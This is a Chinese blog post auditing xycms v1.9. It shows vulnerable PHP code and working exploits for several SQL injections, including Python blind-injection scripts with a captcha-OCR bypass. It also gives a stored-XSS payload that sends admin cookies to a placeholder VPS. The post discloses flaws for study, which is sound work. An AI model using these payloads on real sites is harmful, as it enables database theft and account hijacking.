xycms v1.9的一次审计

本文首发于先知社区——xycms v1.9的一次审计,转载时请标明出处

记一次xycms v1.9的审计,文章有写的不好的地方,大佬们轻喷。

网站目录结构

1
2
3
4
5
6
7
8
9
10
11
12
├── Conf(连接数据库的一些配置文件)
├── Libs(一些公共函数)
├── Statics(js的一些静态文件)
├── Style(css样式)
├── add_book.php
├── add_do.php
├── code.php
├── foot.php
├── index.php
├── install(网站安装目录)
├── system(网站后台,审计的重点)
└── top.php

后台SQL注入漏洞

第一处sql注入

/system/add_book_class.php,关键代码如下,这里没有任何的过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
......
......
......
<?php
if($_GET["act"]==ok){
$siteinfo = array(
'title' => $_POST['title'],
'c_order' => $_POST['c_order']
);
$db->insert("****cms_book_class", $siteinfo);
//$db->close();
echo "<script language='javascript'>";
echo "alert('恭喜您,信息内容添加成功!');";
echo " location='manage_book_class.php';";
echo "</script>";
}
?>

insert函数在/Libs/Class/mysql.class.php,内容如下,这里也并没有对插入数据库的函数进行过滤

1
2
3
4
5
6
7
8
9
10
11
12
function insert($tableName, $column = array()) {
$columnName = "";
$columnValue = "";
foreach ($column as $key => $value) {
$columnName .= $key . ",";
$columnValue .= "'" . $value . "',";
}
$columnName = substr($columnName, 0, strlen($columnName) - 1);
$columnValue = substr($columnValue, 0, strlen($columnValue) - 1);
$sql = "INSERT INTO $tableName($columnName) VALUES($columnValue)";
$this->query($sql);
}

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /system/add_book_class.php?act=ok HTTP/1.1
Host: localhost:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: http://localhost:81
Connection: close
Referer: http://localhost:81/system/add_book_class.php
Cookie: PHPSESSID=npvaign44srcvlhjglh9srrqo6
Upgrade-Insecure-Requests: 1

title=',case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end)#&c_order=1

这里titlec_order参数都存在sql注入

获取数据库名的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import time
url = 'http://localhost:81/system/add_book_class.php?act=ok'
# 这里省去了登录的爬虫,因为存在验证码,ocr比较麻烦,所以登录成功后,把cookie替换一下即可
cookie = {'Cookie': 'PHPSESSID=npvaign44srcvlhjglh9srrqo6'}

def binary_search_sql(start,end,payload,length=2):
name = ''
for i in range(1,length+1):
left = start
right = end
while 1:
mid = (left + right) // 2
if mid == left:
name += chr(mid)
break
start_time = time.time()
full_payload = payload.format(num1=str(i),num2=str(mid))
requests.post(url=url,data={'title':full_payload,'c_order':'1'},headers=cookie)
print(full_payload)
if time.time() - start_time > 2.5:
right = mid
else:
left = mid
return name

# 这里爆破库名长度
# 5
database_length_payload = "',case when (ascii(mid((length(database())),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"
database_length = binary_search_sql(48,57,database_length_payload,1)
print('database_length:'+database_length)

# 这里爆破库名
#
database_payload = "',case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"
print('database_name:'+binary_search_sql(33,127,database_payload,int(database_length)))

第二处sql注入

/system/loginpass.php关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
......
......
......
$login_ip=getIp();
$sql="select * from admin_user where u_name='".$m_name."' and u_pwd='".$m_pwd."'";
$result=$db->query($sql);
if(!mysql_num_rows($result)==0){
$_SESSION["m_name"] = $m_name;
$db->query("UPDATE admin_user SET login_nums=login_nums+1 where u_name='".$m_name."'");
$login_info=array(
'u_name'=>$m_name,
'login_date'=>strtotime(date('Y-m-d')),
'login_ip'=>$login_ip
);
$db->insert("admin_login_log",$login_info);
$db->close();
ok_info('***cms.php','恭喜您,登陆成功!');
}
......
......
......

getIp()函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function getIp() {
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else
if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else
if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else
if (isset ($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return ($ip);
}

这里对ip没有做任何的过滤限制,我们可以用http头X-Forwarded-For,对输入的ip进行控制,也就是说,loginpass.php中的变量$login_ip是可控的

insert函数如下

1
2
3
4
5
6
7
8
9
10
11
12
function insert($tableName, $column = array()) {
$columnName = "";
$columnValue = "";
foreach ($column as $key => $value) {
$columnName .= $key . ",";
$columnValue .= "'" . $value . "',";
}
$columnName = substr($columnName, 0, strlen($columnName) - 1);
$columnValue = substr($columnValue, 0, strlen($columnValue) - 1);
$sql = "INSERT INTO $tableName($columnName) VALUES($columnValue)";
$this->query($sql);
}

这里对插入的数据也没有做任何限制

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /system/loginpass.php HTTP/1.1
Host: localhost:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://localhost:81
Connection: close
Referer: http://localhost:81/system/index.php
Cookie: PHPSESSID=npvaign44srcvlhjglh9srrqo6
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 1' and case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end and '

admin=1&password=1&checkcode=4K23

也就是说,我们只要能正确识别验证码,X-Forwarded-For中提交盲注的内容,就可以进行sql注入

注入数据库名的exp.py

这里必须要安装pytesseract库tesseract,这样的话ocr识别很快

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import requests
from PIL import Image
import pytesseract
from time import time

r = requests.Session()
url_code = 'http://localhost:81/system/code.php?act=yes'
url_login = 'http://localhost:81/system/loginpass.php'
length = ''
name = ''

# 这里获取验证码,并将原图转为灰度图像,然后再指定二值化的阈值
def code():
req = r.get(url_code)
with open('1.png', 'wb') as f:
f.write(req.content)
#新建Image对象
image = Image.open("1.png")
#进行置灰处理
image = image.convert('L')
#这个是二值化阈值
threshold = 150
table = []
for i in range(256):
if i < threshold:
table.append(0)
else:
table.append(1)
#通过表格转换成二进制图片,1的作用是白色,不然就全部黑色了
image = image.point(table,"1")
code = pytesseract.image_to_string(image)
return code

# 这里判断数据库名长度验证码是否正确,如果错误的话,递归提交,直到正确为止
def checkcode_length(num2,num1=1):
payload_length = "1' and case when (ascii(mid((length(database())),{num1},1))={num2}) then (sleep(3)) else (1) end and '"
data = {'admin': '1',
'password': '1',
'checkcode': code()
}
full_payload = payload_length.format(num1=str(num1),num2=str(num2))
print(full_payload)
req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
if '验证码输入有误' in req.text:
return checkcode_length(num2)

# 这里判断数据库名验证码是否正确,如果错误的话,递归提交,直到正确为止
def checkcode_database_name(num1,num2):
payload_database_name = "1' and case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end and '"
data = {'admin': '1',
'password': '1',
'checkcode': code()
}
full_payload = payload_database_name.format(num1=str(num1),num2=str(num2))
print(full_payload)
req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
if '验证码输入有误' in req.text:
return checkcode_database_name(num1,num2)

# 这里返回数据库名的长度
def database_length():
global length
for i in range(48,58):
payload_length = "1' and case when (ascii(mid((length(database())),1,1))={num1}) then (sleep(3)) else (1) end and '"
data = {'admin': '1',
'password': '1',
'checkcode': code()
}
full_payload = payload_length.format(num1=str(i))
print(full_payload)
start_time = time()
req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
if '验证码输入有误' in req.text:
checkcode_length(str(i))
else:
if time() - start_time > 2.5:
length += chr(i)
print(length)

# 这里调用database_length()函数来获取数据库名的长度
database_length()
print(length)

# 这里返回数据库名
def database_name():
global name
payload_database_name = "1' and case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end and '"
for i in range(1,int(length)+1):
left = 32
right = 127
while 1:
mid = (left + right) // 2
if mid == left:
name += chr(mid)
break

data = {'admin': '1',
'password': '1',
'checkcode': code()
}
full_payload = payload_database_name.format(num1=str(i), num2=str(mid))
print(full_payload)
start_time = time()
req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
print(full_payload)

if '验证码输入有误' in req.text:
checkcode_database_name(i, mid)
else:
if time() - start_time > 2.5:
right = mid
else:
left = mid

# 这里调用database_name()函数来获取数据库名
database_name()
print(name)

第三处sql注入

/system/hf_book.php关键代码如下,大概在这个页面的18行左右

1
2
3
4
5
6
7
8
....
....
....
$sxid=$_GET["id"];
$e_rs=$db->get_one("select * from ***cms_book where id=$sxid",MYSQL_ASSOC);
$bid=$e_rs['id'];
....
....

先猜测字段数目,11正确,12错误,说明字段数是11

1
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 11#
1
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 12#

image-20200408135511457

image-20200408135556111

看回显部分,字段3和字段5存在回显

1
http://localhost:81/CMS/***cmcs/system/hf_book.php?id=11 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11#

image-20200408135648088

注入出数据库名

1
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11#

image-20200408135739867

小结

这里其实还有非常多的sql注入,包括insert注入,delete注入,update注入,由于文章篇幅的原因,没有一一例举。因为源头insert或者update或者delete没有做好过滤,导致了这篇漏洞,所以这里也就不再重复说明,举了几个比较典型的案例来说明

前台存储型xss

/add_do.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
session_start();
require 'Conf/***cms.inc.php';
require 'Libs/Function/fun.php';
if(strtolower($_POST["checkcode"])==strtolower($_SESSION["randval"])){
unset($_SESSION["randval"]);//释放session中的变量
}else{
unset($_SESSION["randval"]);
ok_info(0,"验证码输入有误!");
exit();
}
$byz=$_POST['b_yzcode'];
if($byz!==md5($yzcode)){
ok_info(0,'错误的参数!');
}
$siteinfo = array(
'type_id' => intval(trim($_POST['type_id'])),
'b_title' => injCheck($_POST['b_title']),
'b_content' => injCheck($_POST['b_content']),
'b_name' => injCheck($_POST['b_name']),
'b_tel' => injCheck($_POST['b_tel']),
'b_mail' => injCheck($_POST['b_mail']),
'b_qq' => injCheck($_POST['b_qq']),
'b_ip' => injCheck($_POST['b_ip']),
'c_date' => time()
);
$db->insert("***cms_book", $siteinfo);
$db->close();
ok_info('/index.php','恭喜你,留言提交成功!');
?>

第17行到第24行,只对sql注入进行了过滤,并没有对xss过滤,导致了这些提交字段都存在xss漏洞

然后我们到该页面,进行提交

xss2

这里我是用我的服务器进行监听,4.js内容如下

1
2
var image=new Image();
image.src="http://你的vps-ip:10006/cookies.phpcookie="+document.cookie;

然后在我自己的服务器上nc监听

xss3

然后当管理员在后台点击访问新回复的时候

xss1

然后可以打到cookie并且可以成功登录

xss5

小结

其实这里也有后台存储型xss,但是很鸡肋,就不说了

本文标题:xycms v1.9的一次审计

文章作者:xianyu123

发布时间:2020年06月18日 - 11:01

最后更新:2020年08月24日 - 10:23

原始链接:http://0clickjacking0.github.io/2020/06/18/xycms v1.9的一次审计/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------    本文结束  感谢您的阅读    -------------